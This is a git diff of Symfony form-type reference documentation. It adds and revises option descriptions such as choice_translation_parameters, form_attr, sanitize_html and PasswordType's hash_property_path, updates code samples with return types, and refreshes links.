b/reference/forms/types/options/choice_loader.rst.inc index c44601ed3eb..58f471904f3 100644 --- a/reference/forms/types/options/choice_loader.rst.inc +++ b/reference/forms/types/options/choice_loader.rst.inc @@ -17,7 +17,7 @@ if you want to take advantage of lazy loading:: // ... $builder->add('loaded_choices', ChoiceType::class, [ - 'choice_loader' => new CallbackChoiceLoader(function() { + 'choice_loader' => new CallbackChoiceLoader(static function (): array { return StaticClass::getConstants(); }), ]); @@ -26,6 +26,16 @@ This will cause the call of ``StaticClass::getConstants()`` to not happen if the request is redirected and if there is no pre set or submitted data. Otherwise the choice options would need to be resolved thus triggering the callback. +If the built-in ``CallbackChoiceLoader`` doesn't fit your needs, you can create +your own loader by implementing the +:class:`Symfony\\Component\\Form\\ChoiceList\\Loader\\ChoiceLoaderInterface` +or by extending the +:class:`Symfony\\Component\\Form\\ChoiceList\\Loader\\AbstractChoiceLoader`. +This abstract class saves you some boilerplate by implementing some methods of +the interface so you'll only have to implement the +:method:`Symfony\\Component\\Form\\ChoiceList\\Loader\\AbstractChoiceLoader::loadChoices` +method to have a fully functional choice loader. + When you're defining a custom choice type that may be reused in many fields (like entries of a collection) or reused in multiple forms at once, you should use the :class:`Symfony\\Component\\Form\\ChoiceList\\ChoiceList` @@ -36,28 +46,29 @@ better performance:: use App\StaticClass; use Symfony\Component\Form\AbstractType; use Symfony\Component\Form\ChoiceList\ChoiceList; + use Symfony\Component\Form\ChoiceList\Loader\ChoiceLoaderInterface; use Symfony\Component\Form\Extension\Core\Type\ChoiceType; use Symfony\Component\OptionsResolver\Options; use Symfony\Component\OptionsResolver\OptionsResolver; class ConstantsType extends AbstractType { - public static function getExtendedTypes(): iterable + public function getParent(): string { - return [ChoiceType::class]; + return ChoiceType::class; } - public function configureOptions(OptionsResolver $resolver) + public function configureOptions(OptionsResolver $resolver): void { $resolver->setDefaults([ // the example below will create a CallbackChoiceLoader from the callable - 'choice_loader' => ChoiceList::lazy($this, function() { + 'choice_loader' => ChoiceList::lazy($this, function () { return StaticClass::getConstants(); }), // you can pass your own loader as well, depending on other options 'some_key' => null, - 'choice_loader' => function (Options $options) { + 'choice_loader' => function (Options $options): ChoiceLoaderInterface { return ChoiceList::loader( // pass the instance of the type or type extension which is // currently configuring the choice list as first argument diff --git a/reference/forms/types/options/choice_name.rst.inc b/reference/forms/types/options/choice_name.rst.inc index 4ec8abb6ffe..4268c307d17 100644 --- a/reference/forms/types/options/choice_name.rst.inc +++ b/reference/forms/types/options/choice_name.rst.inc @@ -25,7 +25,7 @@ By default, the choice key or an incrementing integer may be used (starting at ` See the :ref:`"choice_loader" option documentation <reference-form-choice-loader>`. -.. caution:: +.. warning:: The configured value must be a valid form name. Make sure to only return valid names when using a callable. Valid form names must be composed of diff --git a/reference/forms/types/options/choice_translation_domain.rst.inc b/reference/forms/types/options/choice_translation_domain.rst.inc index a6e582ccf7a..fa2dcef217f 100644 --- a/reference/forms/types/options/choice_translation_domain.rst.inc +++ b/reference/forms/types/options/choice_translation_domain.rst.inc @@ -1,8 +1,3 @@ -``choice_translation_domain`` -~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - -DEFAULT_VALUE - This option determines if the choice values should be translated and in which translation domain. diff --git a/reference/forms/types/options/choice_translation_domain_disabled.rst.inc b/reference/forms/types/options/choice_translation_domain_disabled.rst.inc index 9c5dd6e2436..117d3d9a390 100644 --- a/reference/forms/types/options/choice_translation_domain_disabled.rst.inc +++ b/reference/forms/types/options/choice_translation_domain_disabled.rst.inc @@ -1,7 +1,6 @@ -.. include:: /reference/forms/types/options/choice_translation_domain.rst.inc - :end-before: DEFAULT_VALUE +``choice_translation_domain`` +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ **type**: ``string``, ``boolean`` or ``null`` **default**: ``false`` .. include:: /reference/forms/types/options/choice_translation_domain.rst.inc - :start-after: DEFAULT_VALUE diff --git a/reference/forms/types/options/choice_translation_domain_enabled.rst.inc b/reference/forms/types/options/choice_translation_domain_enabled.rst.inc index 53e45bd1eaa..2f6722f7838 100644 --- a/reference/forms/types/options/choice_translation_domain_enabled.rst.inc +++ b/reference/forms/types/options/choice_translation_domain_enabled.rst.inc @@ -1,7 +1,6 @@ -.. include:: /reference/forms/types/options/choice_translation_domain.rst.inc - :end-before: DEFAULT_VALUE +``choice_translation_domain`` +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ **type**: ``string``, ``boolean`` or ``null`` **default**: ``true`` .. include:: /reference/forms/types/options/choice_translation_domain.rst.inc - :start-after: DEFAULT_VALUE diff --git a/reference/forms/types/options/choice_translation_parameters.rst.inc b/reference/forms/types/options/choice_translation_parameters.rst.inc new file mode 100644 index 00000000000..09c063c2d2b --- /dev/null +++ b/reference/forms/types/options/choice_translation_parameters.rst.inc @@ -0,0 +1,80 @@ +choice_translation_parameters +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +**type**: ``array``, ``callable``, ``string`` or :class:`Symfony\\Component\\PropertyAccess\\PropertyPath` **default**: ``[]`` + +The choice values are translated before displaying it, so it can contain +:ref:`translation placeholders <component-translation-placeholders>`. +This option defines the values used to replace those placeholders. This can be +an associative array where the keys match the choice keys and the values +are the attributes for each choice, a callable or a property path +(just like `choice_label`_). + +Given this translation message: + +.. configuration-block:: + + .. code-block:: yaml + + # translations/messages.en.yaml + form.order.yes: 'I confirm my order to the company %company%' + form.order.no: 'I cancel my order' + + .. code-block:: xml + + <!-- translations/messages.en.xlf --> + <?xml version="1.0"?> + <xliff version="1.2" xmlns="urn:oasis:names:tc:xliff:document:1.2"> + <file source-language="en" datatype="plaintext" original="file.ext"> + <body> + <trans-unit id="form.order.yes"> + <source>form.order.yes</source> + <target>I confirm my order to the company %company%</target> + </trans-unit> + <trans-unit id="form.order.no"> + <source>form.order.no</source> + <target>I cancel my order</target> + </trans-unit> + </body> + </file> + </xliff> + + .. code-block:: php + + // translations/messages.fr.php + return [ + 'form.order.yes' => "I confirm my order to the company %company%", + 'form.order.no' => "I cancel my order", + ]; + +You can specify the placeholder values as follows:: + + $builder->add('id', null, [ + 'choices' => [ + 'form.order.yes' => true, + 'form.order.no' => false, + ], + 'choice_translation_parameters' => function ($choice, string $key, mixed $value): array { + if (false === $choice) { + return []; + } + + return ['%company%' => 'ACME Inc.']; + }, + ]); + +If an array, the keys of the ``choices`` array must be used as keys:: + + $builder->add('id', null, [ + 'choices' => [ + 'form.order.yes' => true, + 'form.order.no' => false, + ], + 'choice_translation_parameters' => [ + 'form.order.yes' => ['%company%' => 'ACME Inc.'], + 'form.order.no' => [], + ], + ]); + +The translation parameters of child fields are merged with the same option of +their parents, so children can reuse and/or override any of the parent placeholders. diff --git a/reference/forms/types/options/choice_value.rst.inc b/reference/forms/types/options/choice_value.rst.inc index 13bc324cd2a..137ca8a6df0 100644 --- a/reference/forms/types/options/choice_value.rst.inc +++ b/reference/forms/types/options/choice_value.rst.inc @@ -9,13 +9,13 @@ You don't normally need to worry about this, but it might be handy when processi an API request (since you can configure the value that will be sent in the API request). This can be a callable or a property path. By default, the choices are used if they -can be casted to strings. Otherwise an incrementing integer is used (starting at ``0``). +can be cast to strings. Otherwise an incrementing integer is used (starting at ``0``). If you pass a callable, it will receive one argument: the choice itself. When using the :doc:`/reference/forms/types/entity`, the argument will be the entity object for each choice or ``null`` in a placeholder is used, which you need to handle:: - 'choice_value' => function (?MyOptionEntity $entity) { + 'choice_value' => function (?MyOptionEntity $entity): string { return $entity ? $entity->getId() : ''; }, diff --git a/reference/forms/types/options/constraints.rst.inc b/reference/forms/types/options/constraints.rst.inc index 7aab319f302..3e1af29f3ab 100644 --- a/reference/forms/types/options/constraints.rst.inc +++ b/reference/forms/types/options/constraints.rst.inc @@ -1,7 +1,7 @@ ``constraints`` ~~~~~~~~~~~~~~~ -**type**: ``array`` or :class:`Symfony\\Component\\Validator\\Constraint` **default**: ``null`` +**type**: ``array`` or :class:`Symfony\\Component\\Validator\\Constraint` **default**: ``[]`` Allows you to attach one or more validation constraints to a specific field. For more information, see :ref:`Adding Validation <form-option-constraints>`. diff --git a/reference/forms/types/options/data.rst.inc b/reference/forms/types/options/data.rst.inc index c3562d0a8b1..34f86e7c4c6 100644 --- a/reference/forms/types/options/data.rst.inc +++ b/reference/forms/types/options/data.rst.inc @@ -16,7 +16,7 @@ an individual field, you can set it in the data option:: 'data' => 'abcdef', ]); -.. caution:: +.. warning:: The ``data`` option *always* overrides the value taken from the domain data (object) when rendering. This means the object value is also overridden when diff --git a/reference/forms/types/options/date_format.rst.inc b/reference/forms/types/options/date_format.rst.inc index 501f843bddb..b8ea1cb5f35 100644 --- a/reference/forms/types/options/date_format.rst.inc +++ b/reference/forms/types/options/date_format.rst.inc @@ -29,6 +29,6 @@ For more information on valid formats, see `Date/Time Format Syntax`_:: (the `RFC 3339`_ format) which is the default value if you use the ``single_text`` widget. -.. _`Date/Time Format Syntax`: http://userguide.icu-project.org/formatparse/datetime#TOC-Date-Time-Format-Syntax +.. _`Date/Time Format Syntax`: https://unicode-org.github.io/icu/userguide/format_parse/datetime/#datetime-format-syntax .. _`IntlDateFormatter::MEDIUM`: https://www.php.net/manual/en/class.intldateformatter.php#intl.intldateformatter-constants .. _`RFC 3339`: https://tools.ietf.org/html/rfc3339 diff --git a/reference/forms/types/options/date_input_format_description.rst.inc b/reference/forms/types/options/date_input_format_description.rst.inc index e411cd12d70..da05ec6fd8f 100644 --- a/reference/forms/types/options/date_input_format_description.rst.inc +++ b/reference/forms/types/options/date_input_format_description.rst.inc @@ -1,4 +1,4 @@ If the ``input`` option is set to ``string``, this option specifies the format of the date. This must be a valid `PHP date format`_. -.. _`PHP date format`: https://secure.php.net/manual/en/function.date.php +.. _`PHP date format`: https://php.net/manual/en/function.date.php diff --git a/reference/forms/types/options/date_widget_description.rst.inc b/reference/forms/types/options/date_widget_description.rst.inc index b86bdde5a0e..956ad8c7148 100644 --- a/reference/forms/types/options/date_widget_description.rst.inc +++ b/reference/forms/types/options/date_widget_description.rst.inc @@ -1,4 +1,4 @@ -**type**: ``string`` **default**: ``choice`` +**type**: ``string`` **default**: ``single_text`` The basic way in which this field should be rendered. Can be one of the following: diff --git a/reference/forms/types/options/duplicate_preferred_choices.rst.inc b/reference/forms/types/options/duplicate_preferred_choices.rst.inc new file mode 100644 index 00000000000..7569d54a21b --- /dev/null +++ b/reference/forms/types/options/duplicate_preferred_choices.rst.inc @@ -0,0 +1,22 @@ +``duplicate_preferred_choices`` +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +**type**: ``boolean`` **default**: ``true`` + +When using the ``preferred_choices`` option, those preferred choices are displayed +twice by default: at the top of the list and in the full list below. Set this +option to ``false``, to only display preferred choices at the top of the list:: + + use Symfony\Component\Form\Extension\Core\Type\ChoiceType; + // ... + + $builder->add('language', ChoiceType::class, [ + 'choices' => [ + 'English' => 'en', + 'Spanish' => 'es', + 'Bork' => 'muppets', + 'Pirate' => 'arr', + ], + 'preferred_choices' => ['muppets', 'arr'], + 'duplicate_preferred_choices' => false, + ]); diff --git a/reference/forms/types/options/empty_data_declaration.rst.inc b/reference/forms/types/options/empty_data_declaration.rst.inc new file mode 100644 index 00000000000..4db2aa6723e --- /dev/null +++ b/reference/forms/types/options/empty_data_declaration.rst.inc @@ -0,0 +1,4 @@ +``empty_data`` +~~~~~~~~~~~~~~ + +**type**: ``mixed`` diff --git a/reference/forms/types/options/empty_data.rst.inc b/reference/forms/types/options/empty_data_description.rst.inc similarity index 64% rename from reference/forms/types/options/empty_data.rst.inc rename to reference/forms/types/options/empty_data_description.rst.inc index 5e0a23a70b9..b143b9438fe 100644 --- a/reference/forms/types/options/empty_data.rst.inc +++ b/reference/forms/types/options/empty_data_description.rst.inc @@ -1,14 +1,3 @@ -``empty_data`` -~~~~~~~~~~~~~~ - -**type**: ``mixed`` - -.. This file should only be included with start-after or end-before that's - set to this placeholder value. Its purpose is to let us include only - part of this file. - -DEFAULT_PLACEHOLDER - This option determines what value the field will *return* when the submitted value is empty (or missing). It does not set an initial value if none is provided when the form is rendered in a view. @@ -26,16 +15,14 @@ This will still render an empty text box, but upon submission the ``John Doe`` value will be set. Use the ``data`` or ``placeholder`` options to show this initial value in the rendered form. -If a form is compound, you can set ``empty_data`` as an array, object or -closure. See the :doc:`/form/use_empty_data` article for more details about -these options. - .. note:: - If you want to set the ``empty_data`` option for your entire form class, - see the :doc:`/form/use_empty_data` article. + If a form is compound, you can set ``empty_data`` as an array, object or + closure. This option can be set for your entire form class, see the + :doc:`/form/use_empty_data` article for more details about these + options. -.. caution:: +.. warning:: :doc:`Form data transformers </form/data_transformers>` will still be applied to the ``empty_data`` value. This means that an empty string will diff --git a/reference/forms/types/options/error_mapping.rst.inc b/reference/forms/types/options/error_mapping.rst.inc index 37b3b204483..4c70276d741 100644 --- a/reference/forms/types/options/error_mapping.rst.inc +++ b/reference/forms/types/options/error_mapping.rst.inc @@ -13,7 +13,7 @@ of the form. With customized error mapping, you can do better: map the error to the city field so that it displays above it:: - public function configureOptions(OptionsResolver $resolver) + public function configureOptions(OptionsResolver $resolver): void { $resolver->setDefaults([ 'error_mapping' => [ diff --git a/reference/forms/types/options/extra_fields_message.rst.inc b/reference/forms/types/options/extra_fields_message.rst.inc index 5c969f7afce..4608c0a04dd 100644 --- a/reference/forms/types/options/extra_fields_message.rst.inc +++ b/reference/forms/types/options/extra_fields_message.rst.inc @@ -1,10 +1,6 @@ ``extra_fields_message`` ~~~~~~~~~~~~~~~~~~~~~~~~ -.. versionadded:: 5.1 - - Pluralization support was introduced in Symfony 5.1. - **type**: ``string`` **default**: ``This form should not contain extra fields.`` This is the validation error message that's used if the submitted form data diff --git a/reference/forms/types/options/form_attr.rst.inc b/reference/forms/types/options/form_attr.rst.inc new file mode 100644 index 00000000000..bb6cb1ca4fd --- /dev/null +++ b/reference/forms/types/options/form_attr.rst.inc @@ -0,0 +1,20 @@ +``form_attr`` +~~~~~~~~~~~~~ + +**type**: ``boolean`` or ``string`` **default**: ``false`` + +When ``true`` and used on a form element, it adds a `"form" attribute`_ to its HTML field representation with +its HTML form id. By doing this, a form element can be rendered outside the HTML form while still working as expected:: + + $builder->add('body', TextareaType::class, [ + 'form_attr' => true, + ]); + +This can be useful when you need to solve nested form problems. +You can also set this to ``true`` on a root form to automatically set the "form" attribute on all its children. + +.. note:: + + When the root form has no ID, ``form_attr`` is required to be a string identifier to be used as the form ID. + +.. _`"form" attribute`: https://html.spec.whatwg.org/multipage/form-control-infrastructure.html#attr-fae-form diff --git a/reference/forms/types/options/group_by.rst.inc b/reference/forms/types/options/group_by.rst.inc index ca747683662..161be9140ee 100644 --- a/reference/forms/types/options/group_by.rst.inc +++ b/reference/forms/types/options/group_by.rst.inc @@ -35,7 +35,7 @@ This groups the dates that are within 3 days into "Soon" and everything else int a "Later" ``<optgroup>``: .. image:: /_images/reference/form/choice-example5.png - :align: center + :alt: A choice list with "now" and "tomorrow" grouped under "Soon", and "1 week" and "1 month" grouped under "Later". If you return ``null``, the option won't be grouped. You can also pass a string "property path" that will be called to get the group. See the `choice_label`_ for diff --git a/reference/forms/types/options/help.rst.inc b/reference/forms/types/options/help.rst.inc index ded87842d8e..7d8fcdbec6b 100644 --- a/reference/forms/types/options/help.rst.inc +++ b/reference/forms/types/options/help.rst.inc @@ -1,11 +1,21 @@ help ~~~~ -**type**: ``string`` **default**: null +**type**: ``string`` or ``TranslatableInterface`` **default**: ``null`` Allows you to define a help message for the form field, which by default is rendered below the field:: - $builder->add('zipCode', null, [ - 'help' => 'The ZIP/Postal code for your credit card\'s billing address.', - ]); + use Symfony\Component\Translation\TranslatableMessage; + + $builder + ->add('zipCode', null, [ + 'help' => 'The ZIP/Postal code for your credit card\'s billing address.', + ]) + + // ... + + ->add('status', null, [ + 'help' => new TranslatableMessage('order.status', ['%order_id%' => $order->getId()], 'store'), + ]) + ; diff --git a/reference/forms/types/options/help_html.rst.inc b/reference/forms/types/options/help_html.rst.inc index 83bbe583ca6..2a5dccfb32e 100644 --- a/reference/forms/types/options/help_html.rst.inc +++ b/reference/forms/types/options/help_html.rst.inc @@ -1,7 +1,7 @@ help_html ~~~~~~~~~ -**type**: ``bool`` **default**: ``false`` +**type**: ``boolean`` **default**: ``false`` By default, the contents of the ``help`` option are escaped before rendering them in the template. Set this option to ``true`` to not escape them, which is diff --git a/reference/forms/types/options/inherit_data.rst.inc b/reference/forms/types/options/inherit_data.rst.inc index 1b63cc4b56f..f35f6d56b00 100644 --- a/reference/forms/types/options/inherit_data.rst.inc +++ b/reference/forms/types/options/inherit_data.rst.inc @@ -7,7 +7,7 @@ This option determines if the form will inherit data from its parent form. This can be useful if you have a set of fields that are duplicated across multiple forms. See :doc:`/form/inherit_data_option`. -.. caution:: +.. warning:: When a field has the ``inherit_data`` option set, it uses the data of the parent form as is. This means that diff --git a/reference/forms/types/options/label.rst.inc b/reference/forms/types/options/label.rst.inc index 9797b6264cf..e81eee0775c 100644 --- a/reference/forms/types/options/label.rst.inc +++ b/reference/forms/types/options/label.rst.inc @@ -1,10 +1,21 @@ ``label`` ~~~~~~~~~ -**type**: ``string`` **default**: The label is "guessed" from the field name +**type**: ``string`` or ``TranslatableMessage`` **default**: The label is "guessed" from the field name -Sets the label that will be used when rendering the field. Setting to false -will suppress the label. The label can also be directly set inside the template: +Sets the label that will be used when rendering the field. Setting to ``false`` +will suppress the label:: + + use Symfony\Component\Translation\TranslatableMessage; + + $builder + ->add('zipCode', null, [ + 'label' => 'The ZIP/Postal code', + // optionally, you can use TranslatableMessage objects as the label content + 'label' => new TranslatableMessage('address.zipCode', ['%country%' => $country], 'address'), + ]) + +The label can also be set in the template: .. configuration-block:: diff --git a/reference/forms/types/options/label_html.rst.inc b/reference/forms/types/options/label_html.rst.inc index 06568ed08f4..36f531a394d 100644 --- a/reference/forms/types/options/label_html.rst.inc +++ b/reference/forms/types/options/label_html.rst.inc @@ -1,11 +1,7 @@ ``label_html`` ~~~~~~~~~~~~~~ -**type**: ``bool`` **default**: ``false`` - -.. versionadded:: 5.1 - - The ``label_html`` option was introduced in Symfony 5.1. +**type**: ``boolean`` **default**: ``false`` By default, the contents of the ``label`` option are escaped before rendering them in the template. Set this option to ``true`` to not escape them, which is diff --git a/reference/forms/types/options/placeholder.rst.inc b/reference/forms/types/options/placeholder.rst.inc index 5920cefbb52..e36b4bce546 100644 --- a/reference/forms/types/options/placeholder.rst.inc +++ b/reference/forms/types/options/placeholder.rst.inc @@ -1,7 +1,7 @@ ``placeholder`` ~~~~~~~~~~~~~~~ -**type**: ``string`` or ``boolean`` +**type**: ``string`` or ``TranslatableMessage`` or ``boolean`` This option determines whether or not a special "empty" option (e.g. "Choose an option") will appear at the top of a select widget. This option only @@ -14,6 +14,9 @@ applies if the ``multiple`` option is set to false. $builder->add('states', ChoiceType::class, [ 'placeholder' => 'Choose an option', + + // or if you want to translate the text + 'placeholder' => new TranslatableMessage('form.placeholder.select_option', [], 'form'), ]); * Guarantee that no "empty" value option is displayed:: diff --git a/reference/forms/types/options/placeholder_attr.rst.inc b/reference/forms/types/options/placeholder_attr.rst.inc new file mode 100644 index 00000000000..e537aae8922 --- /dev/null +++ b/reference/forms/types/options/placeholder_attr.rst.inc @@ -0,0 +1,17 @@ +``placeholder_attr`` +~~~~~~~~~~~~~~~~~~~~ + +**type**: ``array`` **default**: ``[]`` + +Use this to add additional HTML attributes to the placeholder choice:: + + use Symfony\Component\Form\Extension\Core\Type\ChoiceType; + // ... + + $builder->add('fruits', ChoiceType::class, [ + // ... + 'placeholder' => '...', + 'placeholder_attr' => [ + ['title' => 'Choose an option'], + ], + ]); diff --git a/reference/forms/types/options/preferred_choices.rst.inc b/reference/forms/types/options/preferred_choices.rst.inc index bffb021f864..02817dfb719 100644 --- a/reference/forms/types/options/preferred_choices.rst.inc +++ b/reference/forms/types/options/preferred_choices.rst.inc @@ -33,7 +33,7 @@ be especially useful if your values are objects:: '1 week' => new \DateTime('+1 week'), '1 month' => new \DateTime('+1 month'), ], - 'preferred_choices' => function ($choice, $key, $value) { + 'preferred_choices' => function ($choice, $key, $value): bool { // prefer options within 3 days return $choice <= new \DateTime('+3 days'); }, @@ -42,7 +42,7 @@ be especially useful if your values are objects:: This will "prefer" the "now" and "tomorrow" choices only: .. image:: /_images/reference/form/choice-example3.png - :align: center + :alt: A choice list with "now" and "tomorrow" on top, separated by a line from "1 week" and "1 month". Finally, if your values are objects, you can also specify a property path string on the object that will return true or false. @@ -58,7 +58,7 @@ when rendering the field: {{ form_widget(form.publishAt, { 'separator': '=====' }) }} - .. code-block:: php + .. code-block:: html+php <?= $view['form']->widget($form['publishAt'], [ 'separator' => '=====', diff --git a/reference/forms/types/options/priority.rst.inc b/reference/forms/types/options/priority.rst.inc new file mode 100644 index 00000000000..78bfccd87fb --- /dev/null +++ b/reference/forms/types/options/priority.rst.inc @@ -0,0 +1,12 @@ +priority +~~~~~~~~ + +**type**: ``integer`` **default**: ``0`` + +Fields are rendered in the same order as they are included in the form. This +option changes the field rendering priority, allowing you to display fields +earlier or later than their original order. + +This option will affect the view order only. The higher this priority, the +earlier the field will be rendered. Priority can also be negative and fields +with the same priority will keep their original order. diff --git a/reference/forms/types/options/required.rst.inc b/reference/forms/types/options/required.rst.inc index 41d4e347de6..518852e9981 100644 --- a/reference/forms/types/options/required.rst.inc +++ b/reference/forms/types/options/required.rst.inc @@ -15,4 +15,4 @@ from your validation information. The required option also affects how empty data for each field is handled. For more details, see the `empty_data`_ option. -.. _`HTML5 required attribute`: http://diveintohtml5.info/forms.html +.. _`HTML5 required attribute`: https://html.spec.whatwg.org/multipage/input.html#attr-input-required diff --git a/reference/forms/types/options/rounding_mode.rst.inc b/reference/forms/types/options/rounding_mode.rst.inc index 525f5d99cdf..6333c751ff7 100644 --- a/reference/forms/types/options/rounding_mode.rst.inc +++ b/reference/forms/types/options/rounding_mode.rst.inc @@ -1,7 +1,15 @@ rounding_mode ~~~~~~~~~~~~~ -**type**: ``integer`` **default**: ``\NumberFormatter::ROUND_HALFUP`` +**type**: ``integer`` **default**: ``\NumberFormatter::ROUND_DOWN`` for ``IntegerType`` +and ``\NumberFormatter::ROUND_HALFUP`` for ``MoneyType`` and ``NumberType`` + +* IntegerType +**default**: ``\NumberFormatter::ROUND_DOWN`` + +* MoneyType, NumberType and PercentType +**default**: ``\NumberFormatter::ROUND_HALFUP`` + If a submitted number needs to be rounded (based on the `scale`_ option), you have several configurable options for that rounding. Each option is a constant @@ -30,9 +38,3 @@ on the :phpclass:`NumberFormatter` class: * ``\NumberFormatter::ROUND_HALFUP`` Round towards the "nearest neighbor". If both neighbors are equidistant, round up. It rounds ``2.5`` to ``3``, ``1.6`` and ``1.5`` to ``2`` and ``1.4`` to ``1``. - -.. deprecated:: 5.1 - - In Symfony versions prior to 5.1, these constants were also defined as aliases - in the :class:`Symfony\\Component\\Form\\Extension\\Core\\DataTransformer\\NumberToLocalizedStringTransformer` - class, but they are now deprecated in favor of the :phpclass:`NumberFormatter` constants. diff --git a/reference/forms/types/options/row_attr.rst.inc b/reference/forms/types/options/row_attr.rst.inc index e8cbaa6b564..f280fc3dfcc 100644 --- a/reference/forms/types/options/row_attr.rst.inc +++ b/reference/forms/types/options/row_attr.rst.inc @@ -12,5 +12,5 @@ to render the :ref:`form type row <form-rendering-basics>`:: .. seealso:: - Use the ``attr`` option if you want to add these attributes to the + Use the ``attr`` option if you want to add these attributes to the :ref:`form type widget <form-rendering-basics>` element. diff --git a/reference/forms/types/options/sanitize_html.rst.inc b/reference/forms/types/options/sanitize_html.rst.inc new file mode 100644 index 00000000000..2b5e8a3515b --- /dev/null +++ b/reference/forms/types/options/sanitize_html.rst.inc @@ -0,0 +1,14 @@ +sanitize_html +~~~~~~~~~~~~~ + +**type**: ``boolean`` **default**: ``false`` + +When ``true``, the text input will be sanitized using the +:doc:`Symfony HTML Sanitizer component </html_sanitizer>` after the form is +submitted. This protects the form input against :ref:`XSS <xss-attacks>`, clickjacking and CSS +injection. + +.. note:: + + You must :ref:`install the HTML sanitizer component <html-sanitizer-installation>` + to use this option. diff --git a/reference/forms/types/options/sanitizer.rst.inc b/reference/forms/types/options/sanitizer.rst.inc new file mode 100644 index 00000000000..39217653b3c --- /dev/null +++ b/reference/forms/types/options/sanitizer.rst.inc @@ -0,0 +1,7 @@ +sanitizer +~~~~~~~~~ + +**type**: ``string`` **default**: ``"default"`` + +When `sanitize_html`_ is enabled, you can specify the name of a +:ref:`custom sanitizer <html-sanitizer-configuration>` using this option. diff --git a/reference/forms/types/options/scale.rst.inc b/reference/forms/types/options/scale.rst.inc deleted file mode 100644 index 0d2ec3d6dbc..00000000000 --- a/reference/forms/types/options/scale.rst.inc +++ /dev/null @@ -1,9 +0,0 @@ -``scale`` -~~~~~~~~~ - -**type**: ``integer`` **default**: Locale-specific (usually around ``3``) - -This specifies how many decimals will be allowed until the field rounds -the submitted value (via ``rounding_mode``). For example, if ``scale`` is set -to ``2``, a submitted value of ``20.123`` will be rounded to, for example, -``20.12`` (depending on your `rounding_mode`_). diff --git a/reference/forms/types/options/validation_groups.rst.inc b/reference/forms/types/options/validation_groups.rst.inc index 90f79bede75..6957bf203a3 100644 --- a/reference/forms/types/options/validation_groups.rst.inc +++ b/reference/forms/types/options/validation_groups.rst.inc @@ -1,59 +1,14 @@ ``validation_groups`` ~~~~~~~~~~~~~~~~~~~~~ -**type**: ``array``, ``string``, ``callable``, :class:`Symfony\\Component\\Validator\\Constraints\\GroupSequence` or ``null`` **default**: ``null`` +**type**: ``array``, ``string``, ``callable``, :class:`Symfony\\Component\\Validator\\Constraints\\GroupSequence`, or ``null`` **default**: ``null`` -This option is only valid on the root form and is used to specify which -groups will be used by the validator. +This option is only valid on the root form. It specifies which validation groups +will be used by the validator. -For ``null`` the validator will just use the ``Default`` group. - -If you specify the groups as an array or string they will be used by the -validator as they are:: - - public function configureOptions(OptionsResolver $resolver) - { - $resolver->setDefaults([ - 'validation_groups' => 'Registration', - ]); - } - -This is equivalent to passing the group as array:: - - 'validation_groups' => ['Registration'], - -The form's data will be :doc:`validated against all given groups </form/validation_groups>`. - -If the validation groups depend on the form's data a callable may be passed to -the option. Symfony will then pass the form when calling it:: - - use Symfony\Component\Form\FormInterface; - use Symfony\Component\OptionsResolver\OptionsResolver; - - // ... - public function configureOptions(OptionsResolver $resolver) - { - $resolver->setDefaults([ - 'validation_groups' => function (FormInterface $form) { - $entity = $form->getData(); - - return $entity->isUser() ? ['User'] : ['Company']; - }, - ]); - } - -.. seealso:: - - You can read more about this in :doc:`/form/data_based_validation`. - -.. note:: - - When your form contains multiple submit buttons, you can change the - validation group depending on :doc:`which button is used </form/button_based_validation>` - to submit the form. - - If you need advanced logic to determine the validation groups have - a look at :doc:`/form/validation_group_service_resolver`. +If set to ``null``, the validator will use only the ``Default`` group. For the +other possible values, see the main article about +:doc:`using validation groups in Symfony forms </form/validation_groups>` In some cases, you want to validate your groups step by step. To do this, you can pass a :class:`Symfony\\Component\\Validator\\Constraints\\GroupSequence` @@ -69,7 +24,7 @@ Here's an example:: class MyType extends AbstractType { // ... - public function configureOptions(OptionsResolver $resolver) + public function configureOptions(OptionsResolver $resolver): void { $resolver->setDefaults([ 'validation_groups' => new GroupSequence(['First', 'Second']), diff --git a/reference/forms/types/options/value.rst.inc b/reference/forms/types/options/value.rst.inc index ddbfff6660d..e4669faa7e4 100644 --- a/reference/forms/types/options/value.rst.inc +++ b/reference/forms/types/options/value.rst.inc @@ -6,7 +6,7 @@ The value that's actually used as the value for the checkbox or radio button. This does not affect the value that's set on your object. -.. caution:: +.. warning:: To make a checkbox or radio button checked by default, use the `data`_ option. diff --git a/reference/forms/types/password.rst b/reference/forms/types/password.rst index 37acff1a616..59e40fb19d1 100644 --- a/reference/forms/types/password.rst +++ b/reference/forms/types/password.rst @@ -1,38 +1,17 @@ -.. index:: - single: Forms; Fields; PasswordType - PasswordType Field ================== The ``PasswordType`` field renders an input password text box. -+-------------+------------------------------------------------------------------------+ -| Rendered as | ``input`` ``password`` field | -+-------------+------------------------------------------------------------------------+ -| Options | - `always_empty`_ | -+-------------+------------------------------------------------------------------------+ -| Overridden | - `trim`_ | -| options | | -+-------------+------------------------------------------------------------------------+ -| Inherited | - `attr`_ | -| options | - `disabled`_ | -| | - `empty_data`_ | -| | - `error_bubbling`_ | -| | - `error_mapping`_ | -| | - `help`_ | -| | - `help_attr`_ | -| | - `help_html`_ | -| | - `label`_ | -| | - `label_attr`_ | -| | - `label_format`_ | -| | - `mapped`_ | -| | - `required`_ | -| | - `row_attr`_ | -+-------------+------------------------------------------------------------------------+ -| Parent type | :doc:`TextType </reference/forms/types/text>` | -+-------------+------------------------------------------------------------------------+ -| Class | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\PasswordType` | -+-------------+------------------------------------------------------------------------+ ++---------------------------+------------------------------------------------------------------------+ +| Rendered as | ``input`` ``password`` field | ++---------------------------+------------------------------------------------------------------------+ +| Default invalid message | The password is invalid. | ++---------------------------+------------------------------------------------------------------------+ +| Parent type | :doc:`TextType </reference/forms/types/text>` | ++---------------------------+------------------------------------------------------------------------+ +| Class | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\PasswordType` | ++---------------------------+------------------------------------------------------------------------+ .. include:: /reference/forms/types/options/_debug_form.rst.inc @@ -51,9 +30,51 @@ with the ``value`` attribute set to its true value only upon submission. If you want to render your password field *with* the password value already entered into the box, set this to false and submit the form. +``hash_property_path`` +~~~~~~~~~~~~~~~~~~~~~~ + +**type**: ``string`` **default**: ``null`` + +If set, the password will be hashed using the +:doc:`PasswordHasher component </security/passwords>` and stored in the +property defined by the given :doc:`PropertyAccess expression </components/property_access>`. + 